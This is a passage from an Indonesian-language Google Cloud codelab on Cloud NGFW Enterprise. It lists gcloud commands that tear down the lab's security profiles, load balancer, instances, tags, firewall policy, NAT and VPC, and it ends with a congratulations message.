Pastikan Cloud NGFW Enterprise telah dihapus dengan menjalankan perintah di bawah:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Hapus Grup Profil Keamanan dan Profil Pencegahan Ancaman:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Pembersihan Penyiapan Dasar

Lanjutkan ke langkah berikutnya jika Anda memilih untuk menghapus resource dasar.

Tentukan variabel lingkungan jika diperlukan. Dari Cloud Shell, hapus komponen Load Balancer Jaringan:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Menghapus instance:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Atau, lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Menghapus Kunci dan nilai tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Hapus Kebijakan Jaringan dan pengaitan Cloud Firewall:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Menghapus Cloud Router dan Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Menghapus alamat IP yang dicadangkan:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Terakhir, hapus subnet dan jaringan VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Selamat!

Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk Inspeksi Timur-Barat dan Utara-Selatan.